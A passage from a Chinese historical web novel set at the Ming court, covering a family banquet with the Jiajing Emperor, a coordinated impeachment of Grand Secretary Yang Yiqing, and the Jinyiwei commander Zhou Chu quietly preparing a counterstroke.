安排在后宅最合适不过,这一桌大有讲究,陆松夫妻和陆炳以及周楚作陪,嘉靖、太后,以及皇后张氏位列席中。 原本陆松夫妇以及陆炳应该是去招呼客人的,不过此时皇帝皇后乃至太后都在这里,他们首先要做的肯定是陪好这几位。 皇后张氏,原本是张顺妃,上一任皇后陈氏被废之后,她就被嘉靖册立为皇后,为了彰显对张氏的宠爱,嘉靖将张氏的父亲张楫擢拔为锦衣卫千户。 张楫这个锦衣卫千户在整个锦衣卫系统之中都是很特殊的存在,即便是周楚这个锦衣卫指挥使,也都是刻意忽略他的存在,不招惹,也不触碰。 锦衣卫之中的其他人,更是不敢惹这位皇后的亲爹。 不过张楫吸取了陈万言的教训,对于周楚,那是礼敬有加,不敢有丝毫僭越,但凡遇到事都汇报,一般只要张楫汇报的事,不太过分,周楚都是睁一只眼闭一只眼。 两人倒也相安无事。 嘉靖这么安排,倒也不是往锦衣卫里安插人,实在是张楫没什么功名在身,想要擢拔,要么封侯,要么往锦衣卫里塞。 有陈万言这个前车之鉴,嘉靖自然不会再随意封侯了,便只能往锦衣卫之中安排。 同时也有敲打张楫的意思在里面,毕竟之前的陈万言明眼人都看得出来,就是因为得罪锦衣卫指挥使周楚才落得如此惨淡的下场。 或者更确切的说,陈万言根本就是锦衣卫指挥使和皇帝手中的一枚棋子,用完就被抛弃了。 这一点,张楫倒也看得明白,所以平日里虽然贪点小钱,却也不会太过。 “今日这里没有外人,你们也不用拘谨,权当家宴就行。” 蒋氏笑道。 “母后说得对,哪有什么外人,都是自家人。” 嘉靖说着端起酒杯,站了起来。 “朕要敬乳母一杯,当年乳母将朕当成了自己的孩子养大成人,乳母离开之后,朕每日做梦都会梦到乳母。” 嘉靖说完这话,举起酒杯,一饮而尽。 杨氏急忙站了起来,端起酒杯陪了一杯。 “妹妹不必如此,坐下就好。” 蒋氏略显责怪道。 杨氏喝完酒之后坐了下来,她很清楚,太后可以和自己客气,但倘若自己真的坐着受了皇帝这杯酒,太后心里肯定会不舒服。 自己再怎么说,也只是皇帝当初的乳娘,换个说法,不过是兴王府的一个下人罢了,切不可恃宠而骄。 “文孚,衡器,陪朕喝一杯。” 嘉靖说着又给自己倒了一杯酒,端起酒杯道。 周楚和陆炳听到这话,纷纷端起酒杯,和嘉靖遥遥碰杯,一饮而尽。 “痛快,人都说登上皇位就成了孤家寡人了,朕能有文孚陪在身边,还有衡器为朕尽心尽力,是何其幸运。” 嘉靖有感而发道。 “臣才幸运,以臣做的这些事,也只有陛下能容得下臣,只有陛下才能对臣如此鼎力支持。” 周楚附和道。 “衡器你为我大明做了这么多事,没有你,朕现在未必能在这京城立稳脚跟,朕不支持你,支持谁?” 嘉靖说着又喝了一杯。 周楚和陆炳跟着陪了一杯。 对于周楚,嘉靖其实看的也不是很清晰,甚至有种雾里看花的感觉。 很多事,很多问题,嘉靖都觉得周楚知道的太多,太透彻。 比如自己还未登基之前很久的时候,周衡器就能准确的预料到皇兄朱厚照会被杨廷和这些人害死。 虽然说的有理有据,也有前例可循,但朱厚熜仍然觉得有问题。 周楚预料的太准确了,就好像知道这件事一定会发生一般。 除了这件事,周衡器身上还有许多嘉靖理解不了的点。 总体而言,周衡器太完美了,好像生而知之一般。 不过这些问题嘉靖并不在意,嘉靖唯一确定的一点就是,周衡器从一开始就是真心实意为自己办事的,后来周衡器的种种做法,包括跟自己要养马的太监,包括随时可以将虎贲军的军权交给林鹿,都可以看出,这个和自己差不多年纪的锦衣卫指挥使,并没有过多的野心。 根据嘉靖的了解,这位锦衣卫指挥使很矛盾,但又矛盾的很统一。 对待那些士绅官员,周衡器可谓是心狠手辣,从不留手,抄家灭族只是寻常。 对待那些底层百姓,比如周楚开的布庄之中的工人,却是意外的好。 除了这些布庄的工人之外,嘉靖还知道周楚做的很多事,比如当初周楚在苏州府的时候,给那些修筑堤坝的流民开的工钱很高,而且对于这些流民的吃食,更是格外重视。 这位锦衣卫指挥使,一边心狠手辣,一边又菩萨心肠。 这让朱厚熜在周楚身上看到了另一个人的影子,自己的老祖宗,明太祖朱元璋。 此时陆家外院之中,宾客们都在低声议论着。 “这陆家为何这么厉害?皇上和太后都来了。” 秦莞的母亲满脸不解道。 “娘你小点声。” 秦莞听到这话,吓了一跳,急忙说道。 “陆家的主母可是皇上的乳娘,陆家大公子现在是皇上的近臣,皇上刚登基那会,据说陆大人昼夜不辍地保护着皇上,周大人就更不必多说了,周大人为陛下,为大明做了多少事,周大人可以说是半个陆家人了。” 秦莞对周楚的事可以说是了如指掌,顺带着对陆家的事也了解颇深,可以说是信手拈来。 “行了,少说话,多吃菜。” 秦父面容严肃道,他生怕这些话被他人听了去,虽说听去也没什么,倒也没听说过谁因为议论皇家之事而获罪的,但终究是好说不好听。 实际上除了他们一家子,其他宾客也都在暗中议论,一个个眼神都极为兴奋,对很多人而言,能参加这场婚礼,见到这么多大人物,完全可以成为他们后半辈子茶余饭后的谈资了。 孙娇娇的公爹此时也是大开眼界。 “这么看来,陛下对周大人极为重视啊。” 孙娇娇听到这话,心里忍不住翻了个白眼,心想这不废话吗,如今朝中皇上如果说对谁最重视,那无疑是周大人。Www.XSZWω8.ΝΕt “周大人值得陛下如此重视。” 一旁的孙弘说道。 “周大人做的那些事,别说所有事了,就算某一件单拎出来,你我再加上满朝文武,哪个敢做?” 孙弘反问道。 这话一出,孙娇娇的公爹顿时哑口无言。 “吃菜吧,就你话多。” 孙娇娇的公婆给她公爹夹了些菜,没好气道。 她算是看出来了,自己家的男人说话不靠谱,孙大人和娇娇都不怎么待见他。 在她心里,孙娇娇可是他们家的祖宗,一定要伺候好,将来自己儿子甚至孙子的仕途,可全在孙娇娇一人身上。 另一边的杨廉观察了半天,及早的离开了陆府,回到家中静候消息。 倘若过了今日,锦衣卫还没有任何动静的话,他就可以开启下一步计划了。 联合满朝文武弹劾内阁首辅杨一清。 第292章 集体弹劾杨一清,嘉靖召见沐云萍 六科在整个朝廷,乃至整个大明都是极为特殊的存在。 自从洪武皇帝朱元璋允许闻风奏事之后,六科的官员就成了监察百官的存在,所谓闻风奏事,顾名思义,只需要听到一些风声,或者传言,不需要任何证据,六科的官员就可以弹劾朝中任何一个官员。 至于搜集证据,调查这些官员,则是锦衣卫的职责。 六科有存在的必要吗?当然有,朱元璋设立六科的时候,是在洪武六年,彼时整个大明的官员基本盘都是前元遗留下来的。 前元遗留下来的那些官员,都是那些层层盘剥百姓的存在,朱元璋一家就是被这些官员盘剥的活不下去的。 朱元璋太清楚整个大明的官员是一批什么样的人了。 全都杀了,或许会有冤枉的,但不会冤枉太多人。 所以朱元璋给与了六科闻风奏事的权限,朱元璋很清楚,六科的这些官员随意弹劾,基本上没有冤枉的,或许有弹劾错的罪名,但被弹劾的人未必冤枉。 当然,六科从设立以来,进入六科的官员都是真正的清流,而非那些名义上的清流,六科的所有官员,虽然品级很低,但他们拿的俸禄却是要高三级。 再加上六科的官员基本上不需要人情往来,也不需要许多额外的开支,俸禄都是够养家的。 即便是六科的官员想收钱,也不敢,因为每一个六科官员都得罪了一大批朝廷官员,在那些朝中大佬眼中,这些六科的官员就像疯狗一般,只能引导利用,切不可想着收为己用。 六科的任何一个官员一旦和朝中某个官员有所勾结,首先就会被他的同僚弹劾,还会被那些他的罪过的官员往死里弹劾。 这种情况下,六科的官员基本上很少有和其他官员勾结的,好好的做好自己的本职工作,即便弹劾其他官员再狠,只要自身立得住,没有把柄,就没人能把他们怎么样。 每次朝会,都有六科的官员弹劾周楚,毕竟周楚树大招风,不过整个六科而言,弹劾周楚的只是少数,毕竟周楚捞钱都是顺手而为的,基本都是之前在江南的时候,抄家顺手拿点。 主要目的是为了让嘉靖放心。 这部分六科基本是不知道的,毕竟周楚拿的那些基本都是假借倭寇的名义暗地里进行的,明面上抄家的那些,周楚是一文钱也没拿。 所以明面上,周楚在为官方面基本没什么瑕疵,结党营私基本没有,无数官员想要攀附周楚,却找不到门路。 这些六科官员都是知道的。 而被周楚提拔上来的官员,无论是严嵩还是张璁,两人一个在江南,一个在南直隶,干的一个比一个漂亮。 虽说严嵩贪了点,在江南省也有不少官员攀附,但这都是严嵩的问题,上升不到周楚身上。 要说周楚残害忠良,不说在江南如何,单单京城查办的这些官员,一桩桩一件件,每个人都是证据充足,残害忠良说不上。 真正的残害忠良,是像前朝刘瑾那般,手下的那些干儿子一个个不干人事,对谁下手,完全看谁得罪了他们,并非完全出自皇帝的利益。 这也是没办法的事,林子一旦大了,什么鸟都有,很多时候是不可避免的,或者说刘瑾这种人到了那个地位之后,很享受那种状态,也不太想避免。 实际上六科官员如今弹劾最多的,恰恰是内阁首辅杨一清,杨一清作为内阁首辅,本就看不惯这些六科的疯狗,要说杨廷和和六科官员之间的关系还算融洽一些。 但杨一清不同,杨一清一向看不上六科的这些官员,于是经过毛纪和夏言等人的稍加引导,这些六科的官员纷纷向杨一清蜂拥而上。 杨一清宦海浮沉几十年,从来都算不上清廉,甚至可以说得上是一屁股烂账,想要弹劾杨一清,六科的这些官员能切入的点就太多了,他们根本就不需要证据,只需要得到一点风声就可以。 一般而言,六科官员很少这么集中的弹劾内阁首辅,毕竟内阁首辅在朝中算是权势最高的一位官员了,但原本攀附杨一清的那些官员经过周楚和陈万言轮流折腾了一番之中,已经所剩无几了。 如今的杨一清,虽然算不上孤臣,但在朝中的权势和以往的那些内阁首辅相比,要弱很多。 如果是以往,六科官员虽然强硬,但要他们弹劾一个权势滔天的内阁首辅,他们还是有些发怵的,一般被他们弹劾最多的都是内阁其他成员。 但如今形势不同,内阁之中,杨一清虽然是内阁首辅,但有无数官员攀附的却是毛纪。 毛纪的权势隐隐要超过了杨一清。 同样的情况下,弹劾杨一清这个权势没那么大的内阁首辅,六科的官员既能落得正直的名声,又不会得罪毛纪这个实权派,何乐而不为? 六科的官员并非不会权衡利弊,实际是他们这些人是最会权衡利弊的,该弹劾谁,该以什么样的理由弹劾,都是大有讲究的。 倘若六科的官员从来都不是公正无私,他们只是做他们这个位置该做的事,该说的话罢了,在职责的限制之内,他们每个人都会权衡利弊。 “陛下,臣要弹劾内阁首辅杨大人,臣听闻杨大人在老家纵容他们杨家子弟侵吞百姓土地,甚至杨家在云南根本不把普通百姓当人看,搜刮民脂民膏,整个安宁府可谓是民不聊生。” 一个六科的官员率先出列道。 “陛下,臣要弹劾内阁首辅杨大人以权谋私,他的孙子杨盛斋如今在江南省出任锦衣卫千户,杨盛斋在江南可谓是无法无天,请陛下严惩杨大人和杨盛斋。” 另一位六科官员出列道。 ....... 一个个六科官员如同商量好了一般,纷纷弹劾起了内阁首辅杨一清。 不知道的人,还以为六科的官员多么公正无私,所做的这一切都是为了朝廷,为了大明呢。 实际上这些人之中大多数都是为自己博取直名罢了,妄图以此流芳百世。 “陛下,杨盛斋一事,确有其事,如今整个江南被杨盛斋搅成了一锅粥,他简直是任意妄为。” 杨廉出列道。 陆炜的大婚已经过去了两日,周楚和锦衣卫没有任何动作,这让杨廉大为惊喜,他没想到周楚这位锦衣卫指挥使变了性子了,看来无论是什么人,在官场浸淫许久之后,都会变得。 岂不闻那严嵩当年也是一心为国为民,如今呢?虽说也是在为陛下办事,但其中有多少是为了升官发财,那为国为民的心还有几分呢? 杨廉包括很多官员都是这么过来的,所以他对于周楚的转变并不意外。 年轻人总是要遇到一些挫折,才能认清这个世界的危险,才会明白,很多事不是他想如何就如何的。 杨廉这么想的,攀附在毛纪手下的很多官员也都是这么想的。 甚至包括毛纪,也觉得周楚开始转变了。 只有夏言,眼看着周楚一点动静没有,不仅没有放松,反而有种毛骨悚然的感觉。 如今的周楚给他一种熟悉的感觉,就像之前陈万言当权的时候,周楚也是无比低调,但后来的事实证明了,这位锦衣卫指挥使从来都不是吃素的。 他们这些人要说谁对周楚最为了解,那无疑是夏言了,夏言和周楚打交道是最多的,当初周楚带着锦衣卫闯入自己府中,当着自己的面杀了自己府中的下人,夏言至今仍然历历在目。wWW.xszWω㈧.йêt 更不用提夏言后来在江南的经历了,那是夏言最不想回忆的一段记忆,那段时间夏言几乎每天都心惊肉跳的。 夏言觉得毛纪对周楚要么是不够了解,要么是了解,但在装糊涂,反正很多事都是杨廉这些人在推波助澜,他只需要坐享其成就可以了。 倘若成了,毛纪就是内阁首辅,到了那个时候,他夏言入阁几乎是板上钉钉的事,甚至杨廉也会被顺势抬入内阁。 真要是这个局面达成了,他们这些人又可以在朝中只手遮天了。 皇帝的权力,只在十步之外,千里之内,超过这个范围,就是皇权无法抵达的范围。 反而是他们这些文官集团,能牢牢掌控整个大明所有的土地。 关于杨盛斋的事,朝堂之上已经不是第一次被人提起了,实际上这几次朝会,几乎每次都会有人弹劾杨盛斋,有人借着杨盛斋弹劾周楚,有人则借着杨盛斋弹劾杨一清。 说白了,杨盛斋不过是个引子,所有人都明白,这个年轻人之所以敢在江南如此无法无天,无外乎是背靠周楚这位锦衣卫指挥使和他的首辅祖父罢了。 所有人也都清楚,杨盛斋这个锦衣卫千户也只是暂时的,能干多久还不清楚呢,说不定过段时间就会锒铛入狱,但这并不重要。 重要的从来都是他身后的周楚和杨一清。 很多人摸不清楚周楚和杨一清之间到底是一种什么样的关系,所以杨廉等人才不惜冒天下之大不韪,就是为了试探周楚,一旦周楚选择了沉默,就是他们对杨一清动手的时候。 周楚的沉默只是第一步,第二步就是如今朝堂上的局势,弹劾内阁首辅杨一清,杨廉很清楚,第一次弹劾基本不会有太大的作用,杨一清能成为内阁首辅,岂是那么容易被扳倒的? 不过这不重要,重要的事,他们要通过这次的弹劾向京城之中的文武百官释放一个信号,他们要动内阁首辅了,有人想往上挪一挪了。 那些有野心的官员自然是会看准机会,趁着这个时机上船,否则一旦毛纪成为了内阁首辅,他们再去攀附毛纪,就没有任何作用了。 能在这个过程中帮助到毛纪的,将来毛纪成功后才会记住他们,才会提拔他们。 事后的攀附不值一提。 “你说杨家在安宁府鱼肉百姓?朕倒是没听说过,不过云南毕竟离京城太远,倒也说不准,这两日那沐公府的郡主,沐云萍不正好在京中吗?云南的事沐公府应当是知道的,黄锦,让人去宣沐云萍,让她来说说怎么回事。” 嘉靖看向黄锦道。 “宣沐云萍觐见。” 黄锦高喝一声,下面的太监听到这话,急忙出宫去宣沐云萍去了。 “杨盛斋的事,朕这些时日听的耳朵都起茧子了,朕已经让人去查了,如果真像你们说的那样,该怎么办就怎么办。” 嘉靖有些不耐烦道。 对于杨盛斋,嘉靖秉持着一个原则,那就是能拖就拖,多拖一会,杨盛斋在江南就能多折腾一会,越折腾对自己和朝廷越有利。 弄个孙猴子在江南的目的,不就是要把江南搅个天翻地覆吗? “石淙,你最近是不是得罪什么人了?今日怎么这么多弹劾你的?” 嘉靖半开玩笑道。 杨一清听到这话,缓缓站了出来。 “可能是老臣占着这个首辅的位置,挡了其他人的路吧。” 杨一清有些无奈道。 杨一清不愧为官数十载,演技可谓是顶级的,说这话的时候,仿佛瞬间老了许多,言语之间唏嘘无比,朝廷上的许多人看了都忍不住动了恻隐之心。 甚至那些弹劾杨一清的六科官员,都有些怀疑自己是不是做错了。 毕竟很多事他们也只是道听途说,并没有什么证据。 众人你一言我一语之间,沐云萍来到了大殿之上。 “臣女沐云萍参见陛下。” 沐云萍行礼道。 “朕听闻沐国公前些日子病了,现在可好些了?” 嘉靖看着沐云萍,并没有直接说事,而是态度温和地询问起了沐国公的身体情况。 沐国公和其他的藩王府不一样,其他的藩王府,任何一个藩王,皇帝只要一句话就可以将他们贬为庶人,但沐国公镇守云南,虽然不是藩王府,却胜似藩王府,朝廷对云南的统治力实际上是很弱的。 想要掌控整个云南,朝廷还需要借住沐王府。 好在沐王府一直都很清楚自己的定位,也从未有过不臣之心,朝廷和沐公府之间一直都是相安无事的。 甚至嘉靖还需要对沐国公嘘寒问暖。 “父亲的身子好多了,前些日子受了凉,经过大夫诊治,已经没什么大碍了,多谢陛下记挂。” 沐云萍满脸感激道。 嘉靖听到这话,点了点头。 “沐国公可是我大明在云南的擎天巨柱,无论是朝廷还是朕,都离不开他,可要好好保重身子。” 嘉靖说道。 “臣女定会将陛下的话转达给父亲,父亲一定会很高兴的。” 沐云萍恭敬道。 “今日朕召你前来,是有一件事向你求证。” 嘉靖进入正题道。 “臣女一定知无不言,言无不尽。” 沐云萍信誓旦旦道。 “有人弹劾内阁首辅杨应宁,说他纵容他杨氏子弟在安宁府鱼肉百姓,搜刮民脂民膏,可有此事?” 嘉靖此话一出,朝中文武百官都看向了沐云萍。 “陛下,绝无此事,安宁府虽然离我沐公府很远,在大明边境,但臣女对那里的情况倒是知道一些,安宁有不少土司,要说杨家在安宁鱼肉百姓,搜刮民脂民膏,简直是胡说八道。” 沐云萍听到这话,直接说道。 实际上杨家在安宁府虽然算不上鱼肉百姓,但或多或少都会做下一些恶事,欺压百姓的事,也是有的。 不过沐云萍作为沐公府的郡主,沐公府镇守云南,云南的安宁府的百姓倘若真的像六科官员说的那般,那么沐公府也是难辞其咎的,最起码一个失察的责任是少不了的。 更何况沐云萍完全不想得罪一个内阁首辅,无论是出于何种考虑,她都不会说杨家的坏话。 嘉靖听到这话,点了点头。 “那安宁府本就处于我大明边境,杨家对于我大明统治安宁府本就起了很大的作用,倘若没有杨家,想来当地的土司就会趁机起势,此事以后休要再提。” 嘉靖面容严肃道。 众官员听到这话,纷纷低下了头,所有人都很清楚,边境的稳定胜过一切,倘若被那些土司夺了权,对大明的边境绝不是一件好事。 杨廉等人组织的第一次对杨一清的集体弹劾,就这么无疾而终了。 不过这只是开始,下朝之后,无数官员开始往杨廉府上递拜帖。 杨廉看着这一份份拜帖,似乎看到了自己登临内阁的画面。 “杨一清,周楚,也不过如此。” 杨廉志得意满道。 第293章 徐阶入京,膨胀的杨廉,杨一清闭门不出 杨廉作为毛纪的学生,在毛纪基本闭门谢客的情况下,那些想要攀附毛纪的官员不知道从哪得到的消息,纷纷来到杨廉府上开始寻找门路。 一时之间,杨廉这个礼部侍郎在京城之中风头无两,杨府门口每天都有无数人登门送拜帖。 那些攀附杨廉和毛纪的官员,不少都被提拔了官职,整个京城,经历了一系列的变动。 面对毛纪等人的这等大动作,内阁之中,只有杨一清强烈反对,杨慎干脆直接称病休沐在家。 内阁之中,有毛纪和谢迁,最后一个内阁成员直接放弃表态,毛纪在谢迁的帮助下,权势居然隐隐压住了杨一清这位内阁首辅。 当然,毛纪变动的职务并不算多,只是以他内阁阁员的身份而言,确实有些不正常。 所有人都看出了不正常。 这些职务正是毛纪给那些官员的一些甜头,毕竟不能只画大饼,也要让人看到切实的好处,只要有人攀附他之后,官职得到了提升,那么剩下的那些官员才会死心塌地的攻讦内阁首辅杨一清。 一时之间,朝堂之上,无数官员纷纷弹劾起了杨一清,杨一清内阁首辅的位置似乎摇摇欲坠。 锦衣卫指挥使周楚此时正在家中和杨慎饮酒作乐。 “衡器,这次这么多人,你能兜得住吗?” 杨慎有些忧虑道。 这次攀附毛纪的官员,形成了一个巨大的利益团体,整个京城之中两千左右的官员,攀附毛纪的至少有五六百,而且还在增加。 这些人一旦看到了利益,一旦看到了升官的渠道,一个个就像闻到了血腥味的鲨鱼一般,蜂拥而至。 杨慎的担忧是有道理的,之前周楚用自己锦衣卫指挥使的位置换了一千个官员,当时如果不是杨慎顶住压力,为周楚据理力争,周楚就不仅仅是被贬官到苏州府这么简单了,说不定命都没了。 这次的事,并不比那次小,虽然数量可能不如那次,但这些官员的质量是高过那一次的。 “升庵先生放心,上一次是你我孤军奋斗,这次却不同,不过是瓮中捉鳖罢了,我根本无需承担任何压力,自然会有人出来承担。” 周楚笑道。 “你是说石淙先生?” 杨慎有些不确定道。 “不止。” 周楚神秘一笑。 杨慎听到这话,虽然不清楚周楚葫芦里卖的什么药,但也清楚眼前的这位少年已经有了十足的把握,想想也是,自从周楚成为锦衣卫指挥使开始,做的哪一件事不是滴水不漏? “朕让人去江南查了杨盛斋,确有此事,朕已经着苏州府的锦衣卫将杨盛斋抓了起来。” 朝堂之上,嘉靖满脸气愤地看着杨一清。 “石淙,此事你难道不应该好好跟朕解释解释吗?” 杨一清听到这话,张了张嘴,最终似乎不知道该说什么,选择了沉默。 朝堂之上,那些投靠杨廉和毛纪的官员此时一个个都兴奋无比,他们似乎看到了内阁首辅被扳倒,而后毛纪登临内阁首辅之位,他们一个个被提拔。 最重要的是,江南集团已经名存实亡了,一旦此事成了,他们将会成为大明最大的一个文官集团,到了那个时候,他们获得的可不仅仅是权力,还有其他的无数好处。 “陛下,臣以为首辅杨大人尸位素餐,自从成为首辅之后,于朝廷,于大明而言无甚作为,而且还纵容孙子行下此等恶事,还请陛下明察。” 杨廉义正言辞道。 不知道的人,还以为杨廉是大忠臣,为了大明不惜以下克上,不惜弹劾内阁首辅杨一清。 杨廉仿佛领头羊一般,一呼百应,紧接着无数官员纷纷响应,开始弹劾杨一清。 “石淙,你真是太让朕失望了。” 嘉靖并没有直接宣布如何处置内阁首辅杨一清,只是满脸的失望,随后似乎有些意兴阑珊,挥手宣布退朝,并宣布罢朝一个月。 此时毛纪这方面的官员一个个异常亢奋,在他们看来,毛大人已经胜券在握了,皇帝罢朝一个月,多半是为了调查内阁首辅杨一清,给他来个最后的清算。 恐怕半个月之后,这位年近古稀的内阁首辅就要以一种不体面的方式告老还乡了。 退朝之后,杨一清闭门谢客,干脆连内阁都不去了,似乎已经认命了。 看到这种情况,原本还有些疑虑的毛纪也上了头,利用杨一清闭门不出的这些天,开始疯狂的往六部之中安插自己的人,杨慎告病两天之后回到内阁,对于毛纪的举动大为震怒,怒斥毛纪胡作非为,不过内阁已经完全被毛纪和谢迁把控,哪怕是拟票,杨慎也不是两人的对手。 拟票结束之后,官员的任命名单被送到嘉靖面前,嘉靖似乎对内阁首辅杨一清失望至极,对毛纪送上来的名单虽然不是全部批了,却也批了大半。 一时之间,毛纪这边官员的气焰愈发强盛,言行举止也变得有些肆无忌惮起来。 眼看着八月份的科举将近,大明各地的仕子已经开始进京,徐阶这一批仕子聚集在了京城之中,准备大考。 “老师,准备的如何?” 周楚来到自家文徵明居住的院子之中,手里拿着一坛名酒,每一坛名酒都价值不菲,两三千两一坛起步,比周楚酿制的陈王酿不知道要贵重多少。 不过每一坛名酒都是有来历的,起码都得二三十年往上,用的什么工艺,由谁埋下的,人和工艺,缺一不可,一个名人,配合一个名酒方,再加上时间的沉淀,才算得上是真正的名酒。 有些特别贵重的名酒,甚至百年以上,当然,这种对密封的工艺要求极高,而且埋下酒的人在整个大明也得是赫赫有名的,这种酒更是贵的没变了。 不只是贵,这种酒都是有数的,甚至是记录在册的,喝一坛,少一坛,属于奢侈品中的奢侈品。 有人豪掷万金买下一坛来历非凡的酒,可能只是为了讨好上官,能在宦海浮沉数十年的,基本都是爱酒之人,即便不爱酒,听到这等名酒,也会附庸风雅。 所以名酒虽然贵,却永远都有市场。 真正喝这些酒的人,基本不需要花钱买,买这些酒的人,很少喝。 周楚手上,有不少名酒,有其中大部分都之前抄家抄出来,周楚留下了一些,还有一些是楚璃购买了之后送给周楚的,也有张璁和严嵩送给周楚的。 张璁和严嵩都很清楚,周楚对酒很有研究,陈王酿就可以说明一切,更何况周楚的老师唐伯虎更是嗜酒如命,两人自然会对症下药,花重金买了名酒送给周楚。 对于两人送的这几坛酒,周楚倒也没拒绝,全都收下了。 周楚手中的这坛,更是名酒中的名酒,是由永乐二年的状元曾棨于暮年酿造,已经将近百年,当然,当初曾棨酿造的名酒一共十几坛,大多数都已经被其他人喝了,现在还剩下的,就只有五坛了,其中两坛在周楚这里,另外三坛则在嘉靖的私库之中。 曾棨可不是一般的状元,而是大名鼎鼎的酒状元,在饮酒一道研究极深,嗜酒如命,因为饮酒过多,只活了六十就离世了。 最重要的是,曾棨于书法一道,名声极大,草书雄放,有晋人风骨。 单单这一坛酒,价值都不止万金,而且即便无数人挖空心思,恐怕也买不到。 周楚拿出这一坛,就是为了文徵明科举壮行。 周楚小心翼翼的将酒坛的密封打开,浓郁的酒香瞬间让文徵明意识到这坛酒价值非凡。 “这酒恐怕非同一般。” 文徵明说道。 “当然不一般,这可是酒状元曾棨埋下的,百年的名酒。” 周楚笑道。 文徵明听到这话,眼睛瞬间离不开酒坛了。 他想说这酒未免太过名贵了,但又怕这句话说出口之后,周楚不让他喝了。 能和唐伯虎并称江南四大才子,文徵明年轻的时候也是嗜酒之人,只是后来随着年岁大了,逐渐控制住了。 但此时骤然见到如此名酒,文徵明如何能把持得住?一时之间居然连一句推脱的话都说不出来了。 周楚看到文徵明垂涎欲滴的模样,嘿嘿一笑,从一旁的春兰手中接过一柄羊脂玉制作的酒提。 酒提用什么材质制作很有讲究,不同的酒要用不同的酒提。 因为不同的酒,阴阳属性不同,像曾棨酿造的这些酒都是黄酒,黄酒是阳性的,而且阳气很重,用来盛黄酒的酒提和酒杯最合适的就是用上等的羊脂玉制作的。 因为玉器是阴性的,正好能中和一些黄酒之中的阳性。 周楚用酒提打出酒,在文徵明望眼欲穿的眼神之中,先把他面前的酒杯给满上了。 随后周楚又给自己打了一杯。 “老师,今日弟子就借花献佛,预祝老师金榜题名。” 周楚说着端起酒杯,向文徵明敬酒。 对此时的文徵明而言,什么金榜题名,哪怕是高中状元,也不如眼前的这杯酒重要。 文徵明先是细细的抿了一口,那浓厚的口感让文徵明的眼睛瞬间亮了,随后文徵明没忍住,举起酒杯一饮而尽。 周楚和文徵明饮酒的时候,京城之中的仕子们却在想着该走谁的门路。 科举科举,讲究的就是一个门路,倘若科举之前能走通主考官的门路,成为主考官的学生,那么科举高中的概率会大大提升。 以前的江南一系就是这么逐步成型的。 现在江南一系眼看土崩瓦解了,新的文官集团正在逐步成型,这些仕子们纷纷前往礼部侍郎杨廉府上走门路。 不是他们不想拜访礼部尚书夏言,而是夏言闭门谢客,作为礼部尚书,这个时候按理来说确实应该避嫌,但夏言的做法在这个时候却是显得有些诡异,毕竟如今毛纪这边的官员可以说是如日中天,夏言大可不必如此谨慎。 不过这些不是仕子们该考虑的,走门路也很有讲究,不能太明显,最好是托亲带故,有个互相认识的中间人帮忙说和,这事基本就成了大半。 不过此时的礼部侍郎杨廉如日中天,虽然杨廉只是个礼部侍郎,权势却是一时无两,连韩玠这个吏部尚书见了他都要叫一声杨大人。 这让杨廉的自尊心得到了极大的满足和膨胀。 对于上门求前途的仕子,杨廉来者不拒。 “子升,你不去杨大人府上吗?” 徐阶的一个好友,同样来自苏州府的一个仕子看着徐阶,有些不解道。 他和徐阶都是地地道道的苏州人,想要走门路,自然是走原本江南一系的,毛纪和夏言本就是江南一系的,虽然两人都不是江南人士,但一个官员最后能走到什么位置,往往不是他们自身决定的。 徐阶摇了摇头。 “我不去了,我总觉得现在京城的局势有些诡异,再看看吧。” 徐阶说道。 “要我说,你就是太多心了,现在谁不知道,如今内阁首辅杨大人眼看就不行了,我听说陛下之所以罢朝一个月,就是要清算这位首辅,他倒台之后,毛大人就顺理成章的补上了首辅的位子。” “月湖先生可是毛大人的得意门生,如今虽然只是礼部侍郎,但即便是那些二品大员,如今的权势恐怕也不如他,走月湖先生的门路,准没错。”仦說Ф忟網 此人振振有词道。 徐阶听到这些话,却不为所动,他总觉得这其中的事没那么简单,不过他能看到的信息很有限,也得不出什么结论,只是有很多地方让他觉得很不合理。 内阁首辅杨一清为何闭门不出?按理说皇帝罢朝一个月,这位首辅大人应该想尽一切办法自救才对,但事实却恰恰相反,这位首辅大人似乎什么都没做。 这一点极为反常。 当然,反常的地方不止这一出,很多地方徐阶都觉得怪怪的,却又说不出哪里不对。 徐阶能看出问题,不是他比毛纪杨廉聪明多少,而是旁观者清当局者迷,如今的毛纪和杨廉已经入了局,自然不会如此理智。 杨廉无比膨胀的同时,锦衣卫却在暗中不断地行动,开始启动早已安插好的锦衣卫暗桩,包括京城所有的荣门弟子,都在锦衣卫的命令下,开始了行动。 第294章 膨胀的毛纪,醉仙楼闹事的毛二爷,周楚动手 京城的局势波谲云诡,有人察觉到了不对,但大多数人都被这烈火烹油一般的局面迷得头晕眼花,很多人生怕自己不抓住这个机会,恐怕这辈子的仕途就完了。 无论是官员,亦或是来京城赶考的仕子们,都在想方设法巴结讨好杨廉,包括杨廉手下的一些官员。 这样的局面下,这些人自然是漏洞百出,锦衣卫想要查什么简直易如反掌。 这种情况下,毛纪的二儿子毛寿,以及杨廉的儿子杨赞勾搭到了一起。 准确来说是杨赞给毛寿当狗腿子,杨赞很清楚,自己的爹能有如今的权势,全靠帮毛寿的爹办事。 毛纪有五六个儿子,但其中最有才学,将来有望走仕途的只有四儿子毛渠,其他的那些个,毛纪已经不做什么指望了。 其中二儿子毛寿最为纨绔,如今已经三十七八岁,却仍然一副纨绔子弟的做派。 以前毛寿虽然不干人事,却因为毛纪的权势有限,还有所收敛,但如今整个京城,权势最盛的便是他爹毛纪,以及杨廉。 如果是以往,毛寿想去醉仙楼吃顿饭还得好好考虑一下,但现在不同了,根本不用他出钱,每日都有人抢着请他去醉春楼,每天不重样,甚至醉仙楼的陈王酿都能当水喝了。 京城经过大半个月的烈火烹油,如今的毛寿在京城无人敢惹,所有人都知道这个年近四十的中年纨绔子是毛纪毛大人的二儿子,即便毛寿不干人事,也没人敢说什么。 “二爷,听说这醉仙楼背后的东家是锦衣卫指挥使周楚。” 同桌的一个官员满脸恭维地看着毛寿说道。 “周楚算个屁?区区锦衣卫罢了,如今这朝中的事物,可都是毛大人说了算,这大半个月的官员任命,毛大人只要是提了,陛下无有不允,这段时间那锦衣卫指挥使周楚在干什么?” 杨赞满脸不屑道。 一旁的毛寿听到这话,如同春风拂面,杨赞吹捧的是他爹,他自然感到神清气爽。 “就是,我看这个周楚,被之前的刺杀吓破了胆子,他回京快一个月了吧?一点动静都没有,这要是以往,他能这么安静?” 另一个官员附和道。 